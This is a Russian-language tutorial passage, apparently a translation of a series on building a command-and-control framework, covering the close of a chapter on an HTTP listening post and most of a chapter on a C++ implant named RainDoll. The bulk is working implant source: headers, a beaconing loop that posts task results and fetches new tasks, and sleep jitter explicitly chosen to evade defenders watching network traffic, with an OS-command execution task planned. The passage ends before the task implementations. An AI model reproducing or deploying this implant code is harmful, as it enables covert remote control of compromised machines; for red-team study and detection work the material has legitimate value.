Вы увидите, что объект TaskHistory состоит из исходного объекта задачи JSON, который был отправлен на имплантат, и предоставленных параметров задачи. Когда имплантат возвращает результат, task_resultsполе будет обновлено содержимым результата.

Вывод

Поздравляю с хорошо выполненной работой! Если вы достигли этой точки, теперь у вас есть работающий пост прослушивания HTTP, с которым может общаться наш имплантат! Мы можем использовать это для отправки новых задач на наш имплант и получения результатов отправляемых нами задач. У нас также есть возможность связывать конкретные задачи с результатами и отображать историю задач, отправленных операторами.

Стоит повторить, что это очень простой пост для прослушивания, но он охватывает основные элементы, которые должна предлагать система управления и контроля. Пока вы только начинаете, полезно не усложнять и работать над более продвинутыми методами/функциями, когда вы уверены в основах. Некоторые примеры того, что может быть построено в будущем, включают:

- Элементы управления аутентификацией/авторизацией
- API управления пользователями
- Сценарий первоначальной настройки/установки после прослушивания

В следующей главе мы приступим к написанию некоторого кода C++ и развернем наш имплантат, чтобы завершить следующий важный компонент нашего проекта C2.
 
Глава 3: Основы импланта и задачи

Создание базового имплантата на C++ и добавление новых задач.

1669322546877.png


Введение

В этой главе мы создадим базовый имплант под названием RainDoll , выполнив несколько простых задач. Задачи будут следующие:

- Ping : при получении сообщения ping ответьте сообщением pong.
- Configure : установка конкретных параметров импланта, таких как рабочее состояние и время задержки.
- Execute : выполнение команд ОС, предоставленных пользователем.
- ListThreads : Список потоков в данном процессе.


Этот имплант будет общаться с постом прослушивания HTTP ( Skytree ), который мы создали в предыдущей главе. Исходный код импланта в значительной степени основан на проекте https://twitter.com/jalospinoso, и в код внесены лишь незначительные изменения. Он был выпущен как часть его доклада о создании имплантов с помощью современного C++ под названием "C++ для хакеров" (
). Я настоятельно рекомендую посмотреть его гитхэаб и проверить https://github.com/JLospinoso/cpp-implant. Выступление очень легко понять новичку, и по ходу дела вы изучите несколько изящных приемов современного языка C++. Если вас интересует C++, подумайте о том, чтобы ознакомиться с его книгой на эту тему под названием C++ Crash Course (https://nostarch.com/cppcrashcourse).

Предварительные требования и исходные файлы


Для разработки мы будем работать на 64-битной системе Windows 10. В этом проекте будет использоваться несколько разных библиотек, в том числе Boost. Если вы никогда не слышали о Boost, это отличный ресурс для ускорения разработки с широким набором готовых решений для распространенных задач программирования. Почему вы должны использовать библиотеки Boost? Согласно веб-сайту Boost:

Одним словом - Производительность. Использование высококачественных библиотек, таких как Boost, ускоряет первоначальную разработку, приводит к меньшему количеству ошибок, снижает необходимость в изобретении велосипеда и снижает долгосрочные затраты на обслуживание. А поскольку библиотеки Boost, как правило, становятся стандартами де-факто или де-юре, многие программисты уже знакомы с ними.


Мы также будем использовать запросы C++ (https://github.com/whoshuu/cpr) и JSON для современного C++ (https://github.com/nlohmann/json). Это поможет нам легко отправлять HTTP-запросы с помощью C++ и обрабатывать JSON без особых хлопот. Наконец, мы собираемся активно использовать https://visualstudio.microsoft.com/downloads/ , и вы должны убедиться, что он установлен/настроен для использования рабочей нагрузки "Разработка рабочего стола на C++" (справку по настройке всей этой установки см. по ссылке здесь - https://devblogs.microsoft.com/cppblog/getting-started-with-visual-studio-for-c-and-cpp-development/

Итак, без лишних слов, приступим! Упомянутые выше библиотеки можно установить с помощью менеджера пакетов https://docs.microsoft.com/en-us/cpp/build/vcpkg?view=msvc-160 (инструкции по быстрому запуску в Windows см. по ссылке здесь https://github.com/Microsoft/vcpkg#quick-start-windows). Убедитесь, что он загружен/загружен где-то, например, C:\dev\vcpkgа затем выполните следующие команды в командной строке PowerShell с повышенными привилегиями:

Интеграция vcpkg с Visual Studio 2019

1669322625989.png

Установите необходимые пакеты

1669322635176.png


В частности, установка библиотек Boost, вероятно, займет некоторое время, так что возьмите чай или кофе, пока ждете. Когда необходимые компоненты будут установлены, мы сможем успешно использовать их в нашем проекте Visual Studio. Кроме того, Boost можно установить вручную с помощью руководства по началу работы https://www.boost.org/doc/libs/1_74_0/more/getting_started/windows.html,
а JSON для Modern C++ можно скачать в виде заголовка здесь https://github.com/nlohmann/json/releases/download/v3.9.1/json.hpp. В настоящее время запросы C++ можно создавать с помощью vcpkg или Conan, как описано здесь https://github.com/whoshuu/cpr#building-cpr---using-vcpkg.

Давайте начнем создавать наш имплантат, открыв Visual Studio 2019 и создав пустой проект с именем "RainDoll", убедитесь, что используемый язык — C++ 17. В этом можно убедиться, взглянув на следующую опцию: RainDoll Property Pages Window > General > C++ Language Standard > ISO C++ 17 Standard.

Создайте файл и вызовите его main.cppв папке исходных файлов. Мы начнем с указания деталей поста прослушивания, который мы построили в предыдущей главе:

C++:
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include <stdio.h>

int main()
{
    // Specify address, port and URI of listening post endpoint
    const auto host = "localhost";
    const auto port = "5000";
    const auto uri = "/results";
}

Заголовки проектов имплантатов

Теперь мы приступим к определению деталей нашего объекта Implant, начиная с заголовков. Создайте новый файл с именем implant.hв папке Headers Files в обозревателе решений и добавьте следующий код:

C++:
#pragma once

#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING

#include "tasks.h"

#include <string>
#include <string_view>
#include <mutex>
#include <future>
#include <atomic>
#include <vector>
#include <random>

#include <boost/property_tree/ptree.hpp>

struct Implant {
    // Our implant constructor
    Implant(std::string host, std::string port, std::string uri);
    // The thread for servicing tasks
    std::future<void> taskThread;
    // Our public functions that the implant exposes
    void beacon();
    void setMeanDwell(double meanDwell);
    void setRunning(bool isRunning);
    void serviceTasks();

private:
    // Listening post endpoint args
    const std::string host, port, uri;
    // Variables for implant config, dwell time and running status
    std::exponential_distribution<double> dwellDistributionSeconds;
    std::atomic_bool isRunning;
    // Define our mutexes since we're doing async I/O stuff
    std::mutex taskMutex, resultsMutex;
    // Where we store our results
    boost::property_tree::ptree results;
    // Where we store our tasks
    std::vector<Task> tasks;
    // Generate random device
    std::random_device device;

    void parseTasks(const std::string& response);
    [[nodiscard]] std::string sendResults();
};

[[nodiscard]] std::string sendHttpRequest(std::string_view host,
    std::string_view port,
    std::string_view uri,
    std::string_view payload);

Мы пройдемся по одному блоку кода за раз, и я объясню назначение каждого раздела.

C++:
// Our implant constructor
Implant(std::string host, std::string port, std::string uri);
// The thread for servicing tasks
std::future<void> taskThread;
// Our public functions that the implant exposes
void beacon();
void setMeanDwell(double meanDwell);
void setRunning(bool isRunning);
void serviceTasks();

Во-первых, мы определяем конструктор Implant. Затем мы объявляем поток, который будет обслуживать наши задачи, чтобы мы могли выполнять работу асинхронно. Затем мы определяем четыре общедоступные функции. Нам нужна функция, которая выполняет цикл маячка и постоянно общается с нашим постом прослушивания. Мы также хотим иметь функции, связанные с настройкой импланта, такие как установка времени ожидания между маяками (время ожидания) и рабочего состояния (вкл./выкл.). Наконец, мы хотим иметь функцию, которая будет проходить через все задачи, полученные от поста прослушивания, и выполнять их на цели:

После того, как вы написали приведенный выше код, мы начнем определять частные переменные и функции для объекта Implant:

C++:
private:
    // Listening post endpoint args
    const std::string host, port, uri;
    // Variables for implant config, dwell time and running status
    std::exponential_distribution<double> dwellDistributionSeconds;
    std::atomic_bool isRunning;
    // Define our mutexes since we're doing async I/O stuff
    std::mutex taskMutex, resultsMutex;
    // Where we store our results
    boost::property_tree::ptree results;
    // Where we store our tasks
    std::vector<Task> tasks;
    // Generate random device
    std::random_device device;

    void parseTasks(const std::string& response);
    [[nodiscard]] std::string sendResults();

Мы определяем переменные для хранения сведений о нашем посте прослушивания. Затем мы объявляем переменную для времени задержки и простое логическое значение для рабочего состояния. dwellDistributionSecondsпеременная использует экспоненциальное распределение для получения переменного количества секунд для задержки, гарантируя, что шаблон связи не будет отображаться как постоянная скорость. Мы не хотим, чтобы время между нашими запросами маяка было постоянным, потому что это кажется очень подозрительным для аналитика, который может просматривать сетевые коммуникации. Затем мы объявляем некоторые переменные мьютекса, которые мы будем использовать, чтобы гарантировать, что наш асинхронный ввод-вывод для задач и результатов не взаимодействует с вещами, когда они не должны. Мы будем использовать дерево свойств из библиотеки Boost для хранения наших результатов и передачи типа Task в векторный шаблон. Мы еще не определили тип задачи, поэтому под ним будет красная волнистая линия, но мы добавим ее позже. Последняя частная переменная предназначена для генерации псевдослучайного числа.

Что касается наших частных функций, мы объявим функцию для анализа задач из ответа поста прослушивания и функцию для отправки результатов задачи на пост прослушивания. Вы заметите, что у нас есть атрибут "[[nodiscard]]", прикрепленный к функции "sendResults()". Этот атрибут означает, что если возвращаемое функцией значение не используется, то компилятор должен выдать предупреждение, потому что что-то не так. Мы никогда не ожидаем, что окажемся в ситуации, когда мы делаем вызов для отправки результатов и отбрасываем возвращаемое значение. Чтобы узнать больше об атрибуте "[[nodiscard]]", см. ресурсы здесь https://en.cppreference.com/w/cpp/language/attributes/nodiscard и здесь https://www.bfilipek.com/2017/11/nodiscard.html.

Помимо объекта Implant, мы также объявим функцию для выполнения HTTP-запросов к посту прослушивания. Он примет хост, порт и URI в качестве аргументов вместе с полезной нагрузкой, которую мы хотим отправить:

C++:
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
    std::string_view port,
    std::string_view uri,
    std::string_view payload);

С заголовком имплантата покончено, теперь давайте перейдем к определению наших задач. Создайте новый файл в разделе "Файлы заголовков" в обозревателе решений и назовите его tasks.h. Когда мы закончим, он должен содержать следующий код:


C++:
#pragma once

#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING

#include "results.h"

#include <variant>
#include <string>
#include <string_view>

#include <boost/uuid/uuid.hpp>
#include <boost/property_tree/ptree.hpp>


// Define implant configuration
struct Configuration {
    Configuration(double meanDwell, bool isRunning);
    const double meanDwell;
    const bool isRunning;
};


// Tasks
// ===========================================================================================

// PingTask
// -------------------------------------------------------------------------------------------
struct PingTask {
    PingTask(const boost::uuids::uuid& id);
    constexpr static std::string_view key{ "ping" };
    [[nodiscard]] Result run() const;
    const boost::uuids::uuid id;
};


// ConfigureTask
// -------------------------------------------------------------------------------------------
struct ConfigureTask {
    ConfigureTask(const boost::uuids::uuid& id,
        double meanDwell,
        bool isRunning,
        std::function<void(const Configuration&)> setter);
    constexpr static std::string_view key{ "configure" };
    [[nodiscard]] Result run() const;
    const boost::uuids::uuid id;
private:
    std::function<void(const Configuration&)> setter;
    const double meanDwell;
    const bool isRunning;
};


// ===========================================================================================

// REMEMBER: Any new tasks must be added here too!
using Task = std::variant<PingTask, ConfigureTask>;

[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
    std::function<void(const Configuration&)> setter);
#pragma once

#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING

#include "results.h"

#include <variant>
#include <string>
#include <string_view>

#include <boost/uuid/uuid.hpp>
#include <boost/property_tree/ptree.hpp>


// Define implant configuration
struct Configuration {
    Configuration(double meanDwell, bool isRunning);
    const double meanDwell;
    const bool isRunning;
};


// Tasks
// ===========================================================================================

// PingTask
// -------------------------------------------------------------------------------------------
struct PingTask {
    PingTask(const boost::uuids::uuid& id);
    constexpr static std::string_view key{ "ping" };
    [[nodiscard]] Result run() const;
    const boost::uuids::uuid id;
};


// ConfigureTask
// -------------------------------------------------------------------------------------------
struct ConfigureTask {
    ConfigureTask(const boost::uuids::uuid& id,
        double meanDwell,
        bool isRunning,
        std::function<void(const Configuration&)> setter);
    constexpr static std::string_view key{ "configure" };
    [[nodiscard]] Result run() const;
    const boost::uuids::uuid id;
private:
    std::function<void(const Configuration&)> setter;
    const double meanDwell;
    const bool isRunning;
};


// ===========================================================================================

// REMEMBER: Any new tasks must be added here too!
using Task = std::variant<PingTask, ConfigureTask>;

[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
    std::function<void(const Configuration&)> setter);

Первое, что мы делаем, это определяем наш объект конфигурации, который будет содержать настройки времени пребывания имплантата и рабочего состояния:

C++:
// Define implant configuration
struct Configuration {
    Configuration(double meanDwell, bool isRunning);
    const double meanDwell;
    const bool isRunning;
};

Далее давайте определим простую задачу ping:

C++:
// PingTask
// -------------------------------------------------------------------------------------------
struct PingTask {
    PingTask(const boost::uuids::uuid& id);
    constexpr static std::string_view key{ "ping" };
    [[nodiscard]] Result run() const;
    const boost::uuids::uuid id;
};

После конструктора мы предоставляем ключ для идентификации задачи и называем его "ping". Затем мы объявляем функцию "run()", которая вернет объект Result и пометит его как "nodiscard". Мы еще не определили объект Result, поэтому он будет отображаться с красной волнистой линией внизу. Однако мы добавим это позже, так что пока не беспокойтесь об этом. Наконец, мы указываем UUID, чтобы помочь отслеживать отдельные выполняемые задачи.

Далее мы будем работать над задачей настройки, которая установит время ожидания и рабочий статус:


C++:
// ConfigureTask
// -------------------------------------------------------------------------------------------
struct ConfigureTask {
    ConfigureTask(const boost::uuids::uuid& id,
        double meanDwell,
        bool isRunning,
        std::function<void(const Configuration&)> setter);
    constexpr static std::string_view key{ "configure" };
    [[nodiscard]] Result run() const;
    const boost::uuids::uuid id;
private:
    std::function<void(const Configuration&)> setter;
    const double meanDwell;
    const bool isRunning;
};

После конструктора мы устанавливаем ключ для идентификации задачи и называем его "настроить". Остальной код такой же, как и у задачи ping, за исключением того, что у нас есть несколько закрытых переменных для хранения значения среднего времени задержки и текущего состояния.

Наконец, мы объявляем функцию, которая будет отвечать за парсинг задач, которые мы получаем от поста прослушивания:

C++:
// REMEMBER: Any new tasks must be added here too!
using Task = std::variant<PingTask, ConfigureTask>;

[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
    std::function<void(const Configuration&)> setter);

Пришло время заполнить содержимое нашего последнего заголовочного файла, создать файл с именем results.hи убедиться, что он создан в разделе "Заголовочные файлы". Мы будем писать следующий код:

C++:
#pragma once

#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING

#include <string>
#include <boost/uuid/uuid.hpp>

// Define our Result object
struct Result {
    Result(const boost::uuids::uuid& id,
        std::string contents,
        bool success);
    const boost::uuids::uuid id;
    const std::string contents;
    const bool success;
};

Объект результатов будет содержать UUID для отслеживания каждого результата, который мы возвращаем, строковую переменную для хранения содержимого результата и логическое значение, чтобы сигнализировать об успешном завершении задачи. Наконец-то мы готовы снова открыть main.cpp и добавить остальную часть нашего основного кода под переменными конечной точки поста прослушивания:

C++:
// Instantiate our implant object
Implant implant{ host, port, uri };
// Call the beacon method to start beaconing loop
try {
    implant.beacon();
}
catch (const boost::system::system_error& se) {
    printf("\nSystem error: %s\n", se.what());
}

Как вы можете видеть в приведенном выше коде, мы создаем экземпляр объекта Implant с подробностями поста прослушивания, а затем вызываем функцию "beacon()", чтобы запустить цикл маяка. Полное содержимое файла main.cpp должно выглядеть следующим образом:

C++:
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include "implant.h"

#include <stdio.h>

#include <boost/system/system_error.hpp>


int main()
{
    // Specify address, port and URI of listening post endpoint
    const auto host = "localhost";
    const auto port = "5000";
    const auto uri = "/results";
    // Instantiate our implant object
    Implant implant{ host, port, uri };
    // Call the beacon method to start beaconing loop
    try {
        implant.beacon();
    }
    catch (const boost::system::system_error& se) {
        printf("\nSystem error: %s\n", se.what());
    }
}

Уф, сколько работы ушло на создание шаблона для нашего имплантата! Но теперь мы готовы углубиться в мельчайшие детали логики нашего импланта.

Код имплантата

Код, который у вас должен быть к этому моменту, можно найти в папке с названием "глава_3-1". Теперь создайте новый файл и назовите его implant.cpp, убедитесь, что он создан в разделе "Исходные файлы". В этой части главы мы напишем следующий код, не волнуйтесь, если вы не все понимаете. Я рассмотрю каждый основной раздел в ближайшее время:

C++:
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include "implant.h"
#include "tasks.h"

#include <string>
#include <string_view>
#include <iostream>
#include <chrono>
#include <algorithm>

#include <boost/uuid/uuid_io.hpp>
#include <boost/property_tree/json_parser.hpp>
#include <boost/property_tree/ptree.hpp>

#include <cpr/cpr.h>

#include <nlohmann/json.hpp>

using json = nlohmann::json;


// Function to send an asynchronous HTTP POST request with a payload to the listening post
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
    std::string_view port,
    std::string_view uri,
    std::string_view payload) {
    // Set all our request constants
    auto const serverAddress = host;
    auto const serverPort = port;
    auto const serverUri = uri;
    auto const httpVersion = 11;
    auto const requestBody = json::parse(payload);

    // Construct our listening post endpoint URL from user args, only HTTP to start
    std::stringstream ss;
    ss << "http://" << serverAddress << ":" << serverPort << serverUri;
    std::string fullServerUrl = ss.str();

    // Make an asynchronous HTTP POST request to the listening post
    cpr::AsyncResponse asyncRequest = cpr::PostAsync(cpr::Url{ fullServerUrl },
        cpr::Body{ requestBody.dump() },
        cpr::Header{ {"Content-Type", "application/json"} }
    );
    // Retrieve the response when it's ready
    cpr::Response response = asyncRequest.get();

    // Show the request contents
    std::cout << "Request body: " << requestBody << std::endl;

    // Return the body of the response from the listening post, may include new tasks
    return response.text;
};

// Method to enable/disable the running status on our implant
void Implant::setRunning(bool isRunningIn) { isRunning = isRunningIn; }


// Method to set the mean dwell time on our implant
void Implant::setMeanDwell(double meanDwell) {
    // Exponential_distribution allows random jitter generation
    dwellDistributionSeconds = std::exponential_distribution<double>(1. / meanDwell);
}

// Method to send task results and receive new tasks
[[nodiscard]] std::string Implant::sendResults() {
    // Local results variable
    boost::property_tree::ptree resultsLocal;
    // A scoped lock to perform a swap
    {
        std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
        resultsLocal.swap(results);
    }
    // Format result contents
    std::stringstream resultsStringStream;
    boost::property_tree::write_json(resultsStringStream, resultsLocal);
    // Contact listening post with results and return any tasks received
    return sendHttpRequest(host, port, uri, resultsStringStream.str());
}

// Method to parse tasks received from listening post
void Implant::parseTasks(const std::string& response) {
    // Local response variable
    std::stringstream responseStringStream{ response };

    // Read response from listening post as JSON
    boost::property_tree::ptree tasksPropTree;
    boost::property_tree::read_json(responseStringStream, tasksPropTree);

    // Range based for-loop to parse tasks and push them into the tasks vector
    // Once this is done, the tasks are ready to be serviced by the implant
    for (const auto& [taskTreeKey, taskTreeValue] : tasksPropTree) {
        // A scoped lock to push tasks into vector, push the task tree and setter for the configuration task
        {
            tasks.push_back(
                parseTaskFrom(taskTreeValue, [this](const auto& configuration) {
                    setMeanDwell(configuration.meanDwell);
                    setRunning(configuration.isRunning); })
            );
        }
    }
}

// Loop and go through the tasks received from the listening post, then service them
void Implant::serviceTasks() {
    while (isRunning) {
        // Local tasks variable
        std::vector<Task> localTasks;
        // Scoped lock to perform a swap
        {
            std::scoped_lock<std::mutex> taskLock{ taskMutex };
            tasks.swap(localTasks);
        }
        // Range based for-loop to call the run() method on each task and add the results of tasks
        for (const auto& task : localTasks) {
            // Call run() on each task and we'll get back values for id, contents and success
            const auto [id, contents, success] = std::visit([](const auto& task) {return task.run(); }, task);
            // Scoped lock to add task results
            {
                std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
                results.add(boost::uuids::to_string(id) + ".contents", contents);
                results.add(boost::uuids::to_string(id) + ".success", success);
            }
        }
        // Go to sleep
        std::this_thread::sleep_for(std::chrono::seconds{ 1 });
    }
}

// Method to start beaconing to the listening post
void Implant::beacon() {
    while (isRunning) {
        // Try to contact the listening post and send results/get back tasks
        // Then, if tasks were received, parse and store them for execution
        // Tasks stored will be serviced by the task thread asynchronously
        try {
            std::cout << "RainDoll is sending results to listening post...\n" << std::endl;
            const auto serverResponse = sendResults();
            std::cout << "\nListening post response content: " << serverResponse << std::endl;
            std::cout << "\nParsing tasks received..." << std::endl;
            parseTasks(serverResponse);
            std::cout << "\n================================================\n" << std::endl;
        }
        catch (const std::exception& e) {
            printf("\nBeaconing error: %s\n", e.what());
        }
        // Sleep for a set duration with jitter and beacon again later
        const auto sleepTimeDouble = dwellDistributionSeconds(device);
        const auto sleepTimeChrono = std::chrono::seconds{ static_cast<unsigned long long>(sleepTimeDouble) };

        std::this_thread::sleep_for(sleepTimeChrono);
    }
}

// Initialize variables for our object
Implant::Implant(std::string host, std::string port, std::string uri) :
    // Listening post endpoint URL arguments
    host{ std::move(host) },
    port{ std::move(port) },
    uri{ std::move(uri) },
    // Options for configuration settings
    isRunning{ true },
    dwellDistributionSeconds{ 1. },
    // Thread that runs all our tasks, performs asynchronous I/O
    taskThread{ std::async(std::launch::async, [this] { serviceTasks(); }) } {
}

Первое, что мы сделаем, это напишем функцию для выполнения HTTP-запросов к посту прослушивания. В этом разделе используются запросы C++ (https://github.com/whoshuu/cpr) и JSON для современного C++ (https://github.com/nlohmann/json ). Убедитесь, что оба этих заголовка загружены и доступны для использования в проекте, прежде чем приступить к написанию остального кода импланта:

C++:
// Function to send an asynchronous HTTP POST request with a payload to the listening post
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
    std::string_view port,
    std::string_view uri,
    std::string_view payload) {
    // Set all our request constants
    auto const serverAddress = host;
    auto const serverPort = port;
    auto const serverUri = uri;
    auto const httpVersion = 11;
    auto const requestBody = json::parse(payload);

    // Construct our listening post endpoint URL from user args, only HTTP to start
    std::stringstream ss;
    ss << "http://" << serverAddress << ":" << serverPort << serverUri;
    std::string fullServerUrl = ss.str();

    // Make an asynchronous HTTP POST request to the listening post
    cpr::AsyncResponse asyncRequest = cpr::PostAsync(cpr::Url{ fullServerUrl },
        cpr::Body{ requestBody.dump() },
        cpr::Header{ {"Content-Type", "application/json"} }
    );
    // Retrieve the response when it's ready
    cpr::Response response = asyncRequest.get();

    // Show the request contents
    std::cout << "Request body: " << requestBody << std::endl;

    // Return the body of the response from the listening post, may include new tasks
    return response.text;
};

Мы начинаем с установки всех констант для HTTP-запроса, включая адрес сервера и порт, версию протокола HTTP (1.1) и тело запроса, которое будет содержать нашу полезную нагрузку JSON. Затем мы создаем полный URL-адрес сервера из констант и делаем асинхронный HTTP-запрос POST на сервер с нашим телом запроса. Тело запроса будет содержать результаты любых задач, которые выполнялись ранее. Наконец, мы сохраняем ответ и возвращаем текст ответа вызывающей функции.

В следующем разделе мы рассмотрим функции, необходимые для настройки рабочего состояния имплантата и среднего времени ожидания:

C++:
// Method to enable/disable the running status on our implant
void Implant::setRunning(bool isRunningIn) { isRunning = isRunningIn; }


// Method to set the mean dwell time on our implant
void Implant::setMeanDwell(double meanDwell) {
    // Exponential_distribution allows random jitter generation
    dwellDistributionSeconds = std::exponential_distribution<double>(1. / meanDwell);
}

Функция setRunning() принимает логическое значение и устанавливает флаг "isRunning". Это сообщит импланту, должен ли он продолжать выполнять код задачи или должен завершить работу и прекратить все функционирование. Функция "setMeanDwell" будет сообщать импланту, как часто он должен связываться с постом прослушивания для получения инструкций или как долго он должен "задерживаться". Опять же, как правило, плохая идея иметь постоянное время задержки, потому что оно торчит как больной палец в сетевых журналах. Если защитник просматривает сетевой трафик и видит, что что-то отправляется в Интернет каждые 5 минут, как часы. Это тип вещей, которые требуют дальнейшего расследования. Однако, если, как и у большинства трафика, уходящего в Интернет, ваше время задержки менее стабильно, то вы будете больше сливаться. Вот почему,

Далее рассмотрим функцию отправки результатов задачи на пост прослушивания:

C++:
// Method to send task results and receive new tasks
[[nodiscard]] std::string Implant::sendResults() {
    // Local results variable
    boost::property_tree::ptree resultsLocal;
    // A scoped lock to perform a swap
    {
        std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
        resultsLocal.swap(results);
    }
    // Format result contents
    std::stringstream resultsStringStream;
    boost::property_tree::write_json(resultsStringStream, resultsLocal);
    // Contact listening post with results and return any tasks received
    return sendHttpRequest(host, port, uri, resultsStringStream.str());
}

Мы используем тип Boost https://www.boost.org/doc/libs/1_65_1/doc/html/property_tree.html для хранения результатов в формате JSON. Мы будем использовать блокировку (https://en.cppreference.com/w/cpp/thread/scoped_lock) с ограниченной областью действия , чтобы подкачать значения результатов в локальную переменную "resultsLocal". Использование блокировки с ограниченной областью необходимо, потому что мы делаем что-то асинхронно и хотим быть уверенными, что не наступим на пятки другому потоку, пока мы переключаемся, чтобы получить результаты задачи. Наконец, мы форматируем содержимое результата и передаем тело запроса функции "sendHttpRequest" для доставки на наш пост прослушивания.

Теперь, когда у нас есть функция для отправки результатов, давайте посмотрим на функцию "parseTasks" для обработки задач имплантации:

C++:
// Method to parse tasks received from listening post
void Implant::parseTasks(const std::string& response) {
    // Local response variable
    std::stringstream responseStringStream{ response };

    // Read response from listening post as JSON
    boost::property_tree::ptree tasksPropTree;
    boost::property_tree::read_json(responseStringStream, tasksPropTree);

    // Range based for-loop to parse tasks and push them into the tasks vector
    // Once this is done, the tasks are ready to be serviced by the implant
    for (const auto& [taskTreeKey, taskTreeValue] : tasksPropTree) {
        // A scoped lock to push tasks into vector, push the task tree and setter for the configuration task
        {
            tasks.push_back(
                parseTaskFrom(taskTreeValue, [this](const auto& configuration) {
                    setMeanDwell(configuration.meanDwell);
                    setRunning(configuration.isRunning); })
            );
        }
    }
}

Первое, что мы делаем, это объявляем переменную String Stream для хранения ответа с задачами, которые мы получили от поста прослушивания. Мы читаем ответ как сообщение JSON, а затем для каждой пары ключ-значение помещаем их в вектор под названием "задачи". Мы также вызываем функции установки "setMeanDwell" и "setRunning"» для конфигурации имплантата.

Мы почти закончили просмотр всего кода в разделе имплантации, последнее, что нам нужно сделать, это просмотреть все задачи и запустить код для их выполнения в выделенном потоке. Поговорим о функции "serviceTasks":

C++:
// Loop and go through the tasks received from the listening post, then service them
void Implant::serviceTasks() {
    while (isRunning) {
        // Local tasks variable
        std::vector<Task> localTasks;
        // Scoped lock to perform a swap
        {
            std::scoped_lock<std::mutex> taskLock{ taskMutex };
            tasks.swap(localTasks);
        }
        // Range based for-loop to call the run() method on each task and add the results of tasks
        for (const auto& task : localTasks) {
            // Call run() on each task and we'll get back values for id, contents and success
            const auto [id, contents, success] = std::visit([](const auto& task) {return task.run(); }, task);
            // Scoped lock to add task results
            {
                std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
                results.add(boost::uuids::to_string(id) + ".contents", contents);
                results.add(boost::uuids::to_string(id) + ".success", success);
            }
        }
        // Go to sleep
        std::this_thread::sleep_for(std::chrono::seconds{ 1 });
    }
}

Мы начинаем с цикла while, который запускается на основе состояния логического флага "isRunning", установленного в нашем объекте конфигурации имплантата. Затем мы объявляем локальную векторную переменную для хранения наших задач. После этого у нас есть блокировка области действия, и мы обращаемся к объекту, содержащему задачи, которые мы получили от поста прослушивания, а затем помещаем их в нашу переменную "localTasks". Опять же, мы используем блокировку области действия, потому что мы выполняем эти действия асинхронно и не хотим наступать на пятки другому потоку. Наконец, мы используем цикл for, чтобы пройти через каждую задачу и вызвать их объявленный метод "запуска". Мы помещаем возвращенные значения "id"», "contents"» и "success" в соответствующие переменные. Затем мы вводим блокировку области действия, чтобы вызвать "results.add()". функционируют и сохраняют результаты нашей задачи/статус успеха. Затем мы говорим потоку заснуть на 1 секунду.

Теперь мы можем собрать все воедино и поговорить о функции "маяк", которая запускает цикл while:

C++:
// Method to start beaconing to the listening post
void Implant::beacon() {
    while (isRunning) {
        // Try to contact the listening post and send results/get back tasks
        // Then, if tasks were received, parse and store them for execution
        // Tasks stored will be serviced by the task thread asynchronously
        try {
            std::cout << "RainDoll is sending results to listening post...\n" << std::endl;
            const auto serverResponse = sendResults();
            std::cout << "\nListening post response content: " << serverResponse << std::endl;
            std::cout << "\nParsing tasks received..." << std::endl;
            parseTasks(serverResponse);
            std::cout << "\n================================================\n" << std::endl;
        }
        catch (const std::exception& e) {
            printf("\nBeaconing error: %s\n", e.what());
        }
        // Sleep for a set duration with jitter and beacon again later
        const auto sleepTimeDouble = dwellDistributionSeconds(device);
        const auto sleepTimeChrono = std::chrono::seconds{ static_cast<unsigned long long>(sleepTimeDouble) };

        std::this_thread::sleep_for(sleepTimeChrono);
    }
}
Цикл, который мы видим в приведенном выше коде, выполняется на основе значения переменной "isRunning". Он попытается связаться с постом прослушивания, отправив любые результаты задачи (или пустую полезную нагрузку JSON, если результатов нет). Затем он будет анализировать задачи, полученные от поста прослушивания, внутри переменной "serverResponse". Поток "serviceTasks", работающий асинхронно, будет выполнять каждую задачу после их анализа и сохранения. Наконец, мы спим в течение некоторого времени, поэтому мы не отправляем запросы слишком регулярно и можем выглядеть менее подозрительно в сетевом трафике.

Последний второстепенный блок кода — это конструктор Implant:

C++:
// Initialize variables for our object
Implant::Implant(std::string host, std::string port, std::string uri) :
    // Listening post endpoint URL arguments
    host{ std::move(host) },
    port{ std::move(port) },
    uri{ std::move(uri) },
    // Options for configuration settings
    isRunning{ true },
    dwellDistributionSeconds{ 1. },
    // Thread that runs all our tasks, performs asynchronous I/O
    taskThread{ std::async(std::launch::async, [this] { serviceTasks(); }) } {
}

Приведенный выше блок кода относительно прост: мы перемещаем аргументы URL-адреса конечной точки поста прослушивания от пользователя в переменные и устанавливаем начальные параметры для конфигурации имплантата. Наконец, мы запускаем поток задач, который запустит функцию "serviceTasks" и фактически запустит весь код нашей задачи.

Код результатов

Часть кода, связанная с результатами задачи, будет довольно короткой, продолжайте и создайте results.cppфайл в каталоге исходных файлов. Содержание будет следующим.

C++:
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include "results.h"


// Result object returned by all tasks
// Includes the task ID, result contents and success status (true/false)
Result::Result(const boost::uuids::uuid& id,
    std::string contents,
    const bool success)
    : id(id), contents{ std::move(contents) }, success(success) {}

Как видите, мы просто объявляем объект Result, который создает экземпляр идентификатора, содержимого результата и статуса успешного выполнения задачи. На этом с разделом результатов все, давайте перейдем к следующей части нашего импланта, к самим задачам!

Код задач


Итак, мы рассмотрели логику имплантации и результаты, теперь нам нужно определить, что делает каждая из задач, когда их запрашивает оператор с поста прослушивания. Наш готовый код задач будет создан в файле с именем tasks.cppв каталоге исходных файлов. Мы подробно рассмотрим каждый раздел, поэтому не беспокойтесь о том, чтобы сразу все понять:

C++:
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include "tasks.h"

#include <string>
#include <array>
#include <sstream>
#include <fstream>
#include <cstdlib>

